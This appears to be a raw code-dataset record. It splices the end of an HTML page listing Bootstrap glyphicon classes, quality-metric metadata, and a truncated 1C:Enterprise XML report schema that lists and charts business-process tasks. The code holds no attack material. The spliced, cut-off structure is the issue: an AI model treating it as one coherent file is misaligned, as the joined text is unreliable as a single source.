glyphicon-scissors" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-scissors</span> </li> <li> <span class="glyphicon glyphicon-bitcoin" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-bitcoin</span> </li> <li> <span class="glyphicon glyphicon-btc" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-btc</span> </li> <li> <span class="glyphicon glyphicon-xbt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-xbt</span> </li> <li> <span class="glyphicon glyphicon-yen" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-yen</span> </li> <li> <span class="glyphicon glyphicon-jpy" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-jpy</span> </li> <li> <span class="glyphicon glyphicon-ruble" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-ruble</span> </li> <li> <span class="glyphicon glyphicon-rub" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-rub</span> </li> <li> <span class="glyphicon glyphicon-scale" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-scale</span> </li> <li> <span class="glyphicon glyphicon-ice-lolly" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-ice-lolly</span> </li> <li> <span class="glyphicon glyphicon-ice-lolly-tasted" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-ice-lolly-tasted</span> </li> <li> <span class="glyphicon glyphicon-education" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-education</span> </li> <li> <span class="glyphicon glyphicon-option-horizontal" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-option-horizontal</span> </li> <li> <span class="glyphicon glyphicon-option-vertical" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-option-vertical</span> </li> <li> <span class="glyphicon glyphicon-menu-hamburger" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-menu-hamburger</span> </li> <li> <span class="glyphicon glyphicon-modal-window" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-modal-window</span> </li> <li> <span class="glyphicon glyphicon-oil" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-oil</span> </li> <li> <span class="glyphicon glyphicon-grain" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-grain</span> </li> <li> <span class="glyphicon glyphicon-sunglasses" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sunglasses</span> </li> <li> <span class="glyphicon glyphicon-text-size" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-text-size</span> </li> <li> <span class="glyphicon glyphicon-text-color" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-text-color</span> </li> <li> <span class="glyphicon glyphicon-text-background" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-text-background</span> </li> <li> <span class="glyphicon glyphicon-object-align-top" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-object-align-top</span> </li> <li> <span class="glyphicon glyphicon-object-align-bottom" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-object-align-bottom</span> </li> <li> <span class="glyphicon glyphicon-object-align-horizontal" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-object-align-horizontal</span> </li> <li> <span class="glyphicon glyphicon-object-align-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-object-align-left</span> </li> <li> <span class="glyphicon glyphicon-object-align-vertical" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-object-align-vertical</span> </li> <li> <span class="glyphicon glyphicon-object-align-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-object-align-right</span> </li> <li> <span class="glyphicon glyphicon-triangle-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-triangle-right</span> </li> <li> <span class="glyphicon glyphicon-triangle-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-triangle-left</span> </li> <li> <span class="glyphicon glyphicon-triangle-bottom" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-triangle-bottom</span> </li> <li> <span class="glyphicon glyphicon-triangle-top" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-triangle-top</span> </li> <li> <span class="glyphicon glyphicon-console" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-console</span> </li> <li> <span class="glyphicon glyphicon-superscript" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-superscript</span> </li> <li> <span class="glyphicon glyphicon-subscript" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-subscript</span> </li> <li> <span class="glyphicon glyphicon-menu-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-menu-left</span> </li> <li> <span class="glyphicon glyphicon-menu-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-menu-right</span> </li> <li> <span class="glyphicon glyphicon-menu-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-menu-down</span> </li> <li> <span class="glyphicon glyphicon-menu-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-menu-up</span> </li> </ul> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> </body> </html>
77,032
glyphicons
html
zh
html
code
{"qsc_code_num_words": 5505, "qsc_code_num_chars": 77032.0, "qsc_code_mean_word_length": 5.39600363, "qsc_code_frac_words_unique": 0.05776567, "qsc_code_frac_chars_top_2grams": 0.37185659, "qsc_code_frac_chars_top_3grams": 0.31873422, "qsc_code_frac_chars_top_4grams": 0.17707457, "qsc_code_frac_chars_dupe_5grams": 0.93108904, "qsc_code_frac_chars_dupe_6grams": 0.9116647, "qsc_code_frac_chars_dupe_7grams": 0.91105874, "qsc_code_frac_chars_dupe_8grams": 0.79323346, "qsc_code_frac_chars_dupe_9grams": 0.60838243, "qsc_code_frac_chars_dupe_10grams": 0.57532402, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00061073, "qsc_code_frac_chars_whitespace": 0.51111227, "qsc_code_size_file_byte": 77032.0, "qsc_code_num_lines": 1364.0, "qsc_code_num_chars_line_max": 173.0, "qsc_code_num_chars_line_mean": 56.47507331, "qsc_code_frac_chars_alphabet": 0.7881572, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.49363636, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.16720324, "qsc_code_frac_chars_long_word_length": 0.02400301, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.11416035, "qsc_codehtml_num_chars_text": 8794.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 1, "qsc_code_frac_chars_top_3grams": 1, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/Задания/Templates/Макет/Ext/Template.xml
<?xml version="1.0" encoding="UTF-8"?> <DataCompositionSchema xmlns="http://v8.1c.ru/8.1/data-composition-system/schema" xmlns:dcscom="http://v8.1c.ru/8.1/data-composition-system/common" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dataSource> <name>ИсточникДанных1</name> <dataSourceType>Local</dataSourceType> </dataSource> <dataSet xsi:type="DataSetQuery"> <name>НаборДанных1</name> <field xsi:type="DataSetFieldField"> <dataPath>Завершен</dataPath> <field>Завершен</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Завершено</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Дата</dataPath> <field>Дата</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>Стартован</dataPath> <field>Стартован</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Стартовано</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Автор</dataPath> <field>Автор</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>Важность</dataPath> <field>Важность</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>ДатаЗавершения</dataPath> <field>ДатаЗавершения</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>Наименование</dataPath> <field>Наименование</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>НомерИтерации</dataPath> <field>НомерИтерации</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Количество циклов</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Предмет</dataPath> <field>Предмет</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>СрокИсполнения</dataPath> <field>СрокИсполнения</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>Ссылка</dataPath> <field>Ссылка</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Наименование</v8:content> </v8:item> </title> <presentationExpression>Наименование</presentationExpression> </field> <field xsi:type="DataSetFieldField"> <dataPath>Выполнено</dataPath> <field>Выполнено</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>Подтверждено</dataPath> <field>Подтверждено</field> </field> <field xsi:type="DataSetFieldField"> <dataPath>Результат</dataPath> <field>Результат</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Результат</v8:content> </v8:item> </title> </field> <dataSource>ИсточникДанных1</dataSource> <query>ВЫБРАТЬ РАЗРЕШЕННЫЕ Задание.Ссылка, Задание.Дата, Задание.Завершен, Задание.Стартован, Задание.Наименование, Задание.Важность, Задание.СрокИсполнения, Задание.Предмет, Задание.Автор, Задание.ДатаЗавершения, Задание.НомерИтерации, Задание.Выполнено, Задание.Подтверждено, ВЫБОР КОГДА Задание.Завершен И Задание.Выполнено ТОГДА 0 КОГДА Задание.Завершен И (НЕ Задание.Выполнено) ТОГДА 1 ИНАЧЕ 2 КОНЕЦ КАК Результат ИЗ БизнесПроцесс.Задание КАК Задание ГДЕ Задание.ЗадачаИсточник = ЗНАЧЕНИЕ(Задача.ЗадачаИсполнителя.ПустаяСсылка) {ГДЕ (Задание.Завершен = &amp;Завершен), (Задание.ДатаЗавершения &gt;= &amp;ПериодНачало ИЛИ Задание.ДатаЗавершения = ДАТАВРЕМЯ(1, 1, 1))}</query> </dataSet> <calculatedField> <dataPath>Количество</dataPath> <expression>1</expression> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Количество</v8:content> </v8:item> </title> </calculatedField> <calculatedField> <dataPath>Длительность</dataPath> <expression>РазностьДат(Дата, ДатаЗавершения, "ДЕНЬ")</expression> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Длительность</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:decimal</v8:Type> <v8:NumberQualifiers> <v8:Digits>0</v8:Digits> <v8:FractionDigits>0</v8:FractionDigits> <v8:AllowedSign>Any</v8:AllowedSign> </v8:NumberQualifiers> </valueType> </calculatedField> <calculatedField> <dataPath>КоличествоЦиклов</dataPath> <expression>НомерИтерации</expression> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Количество циклов</v8:content> </v8:item> </title> </calculatedField> <calculatedField> <dataPath>Дней</dataPath> <expression>РазностьДат(Дата, ДатаЗавершения, "ДЕНЬ")</expression> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Дней</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:decimal</v8:Type> <v8:NumberQualifiers> <v8:Digits>0</v8:Digits> <v8:FractionDigits>0</v8:FractionDigits> <v8:AllowedSign>Any</v8:AllowedSign> </v8:NumberQualifiers> </valueType> </calculatedField> <totalField> <dataPath>Количество</dataPath> <expression>Сумма(Количество)</expression> </totalField> <totalField> <dataPath>НомерИтерации</dataPath> <expression>Среднее(НомерИтерации)</expression> </totalField> <totalField> <dataPath>Длительность</dataPath> <expression>Среднее(Длительность)</expression> </totalField> <totalField> <dataPath>КоличествоЦиклов</dataPath> <expression>Сумма(КоличествоЦиклов)</expression> </totalField> <parameter> <name>Период</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Период</v8:content> </v8:item> </title> <valueType> <v8:Type>v8:StandardPeriod</v8:Type> </valueType> <value xsi:type="v8:StandardPeriod"> <v8:variant xsi:type="v8:StandardPeriodVariant">Custom</v8:variant> <v8:startDate>0001-01-01T00:00:00</v8:startDate> <v8:endDate>0001-01-01T00:00:00</v8:endDate> </value> <useRestriction>false</useRestriction> </parameter> <parameter> <name>ПериодНачало</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Период начало</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:dateTime</v8:Type> <v8:DateQualifiers> <v8:DateFractions>DateTime</v8:DateFractions> </v8:DateQualifiers> </valueType> <value xsi:type="xs:dateTime">0001-01-01T00:00:00</value> <useRestriction>true</useRestriction> <expression>&amp;Период.ДатаНачала</expression> </parameter> <parameter> <name>ПериодОкончание</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Период окончание</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:dateTime</v8:Type> <v8:DateQualifiers> <v8:DateFractions>DateTime</v8:DateFractions> </v8:DateQualifiers> </valueType> <value xsi:type="xs:dateTime">0001-01-01T00:00:00</value> <useRestriction>true</useRestriction> <expression>&amp;Период.ДатаОкончания</expression> </parameter> <parameter> <name>Завершен</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Завершен</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:boolean</v8:Type> </valueType> <value xsi:type="xs:boolean">false</value> <useRestriction>false</useRestriction> </parameter> <template> <name>Макет1</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="dcscor:Parameter">Длительность</dcsat:value> <dcsat:appearance> <dcscor:item> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="xs:string">ЧДЦ=2; ЧН=-</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:item> </dcsat:tableCell> </dcsat:item> </template> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:ExpressionAreaTemplateParameter"> <dcsat:name>Длительность</dcsat:name> <dcsat:expression>Длительность</dcsat:expression> </parameter> </template> <fieldTemplate> <field>Длительность</field> <template>Макет1</template> </fieldTemplate> <settingsVariant> <dcsset:name>СписокЗаданий</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Список заданий за период</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>СистемныеПоля.НомерПоПорядку</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Ссылка</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Выполнено</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Автор</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Дата</dcsset:field> <dcsset:title>Начато</dcsset:title> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:use>false</dcsset:use> <dcsset:field>ДатаЗавершения</dcsset:field> <dcsset:title>Завершено</dcsset:title> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КоличествоЦиклов</dcsset:field> <dcsset:title>Циклов</dcsset:title> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Дней</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:use>false</dcsset:use> <dcsset:left xsi:type="dcscor:Field">Автор</dcsset:left> <dcsset:comparisonType>InList</dcsset:comparisonType> <dcsset:right xsi:type="v8:ValueListType"> <v8:valueType/> <v8:lastId xsi:type="xs:decimal">-1</v8:lastId> </dcsset:right> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>3ccfa365-1ee2-4354-8079-c0ebf230c7ad</dcsset:userSettingID> </dcsset:item> </dcsset:filter> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Период</dcscor:parameter> <dcscor:value xsi:type="v8:StandardPeriod"> <v8:variant xsi:type="v8:StandardPeriodVariant">Custom</v8:variant> <v8:startDate>0001-01-01T00:00:00</v8:startDate> <v8:endDate>0001-01-01T00:00:00</v8:endDate> </dcscor:value> <dcsset:userSettingID>d64e623b-4b8f-40d4-912a-e023f7b44b8b</dcsset:userSettingID> </dcscor:item> </dcsset:dataParameters> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Дата</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Дата</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>ДатаЗавершения</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter/> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="xs:string">ДФ=dd.MM.yyyy</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection/> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Завершен</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">true</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">style:ВыполненнаяЗадача</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Выполнено</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Выполнено</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">false</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">auto</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Выполнено</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Выполнено</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">true</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">auto</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Дней</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Завершен</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">false</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="xs:string"/> </dcscor:item> </dcsset:appearance> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВертикальноеРасположениеОбщихИтогов</dcscor:parameter> <dcscor:value xsi:type="dcscor:DataCompositionTotalPlacement">End</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Output</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Задания за период</dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>СтатистикаЗаданий</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Статистика результатов выполнения заданий</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Количество.ПроцентОбщий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:use>false</dcsset:use> <dcsset:left xsi:type="dcscor:Field">Автор</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>7a64b393-5d62-4712-b96e-963d64c8eb7e</dcsset:userSettingID> </dcsset:item> </dcsset:filter> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Период</dcscor:parameter> <dcscor:value xsi:type="v8:StandardPeriod"> <v8:variant xsi:type="v8:StandardPeriodVariant">ThisMonth</v8:variant> </dcscor:value> <dcsset:userSettingID>35ea3880-0af4-4ef2-a0fe-5aecf395706a</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Завершен</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> <dcsset:userSettingID>ad6b8ea4-e867-41b5-b333-93372d69b530</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="xs:string">Только завершенные задания</dcsset:userSettingPresentation> </dcscor:item> </dcsset:dataParameters> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Результат</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Результат</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">0</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="xs:string">Выполнено</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Результат</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Результат</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">1</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="xs:string">Отменено</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Результат</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Результат</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">2</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="xs:string">Выполняется</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartType">Pie3D</dcscor:value> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы.ВидПодписей</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartLabelType">SeriesPercent</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ТипДиаграммы.АвтоРаздвижениеСерий</dcscor:parameter> <dcscor:value xsi:type="v8ui:AutoSeriesSeparation">All</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ТипДиаграммы.ОтображатьТаблицуДанных</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ТипДиаграммы.СтильГраницы</dcscor:parameter> <dcscor:value xsi:type="v8ui:Line" width="1" gap="false"> <v8ui:style xsi:type="v8ui:SpreadsheetDocumentDrawingLineType">None</v8ui:style> </dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы.РасположениеЛегенды</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionChartLegendPlacement">None</dcscor:value> </dcscor:item> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Статистика результатов выполнения заданий</dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemChart"> <dcsset:point> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Результат</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd 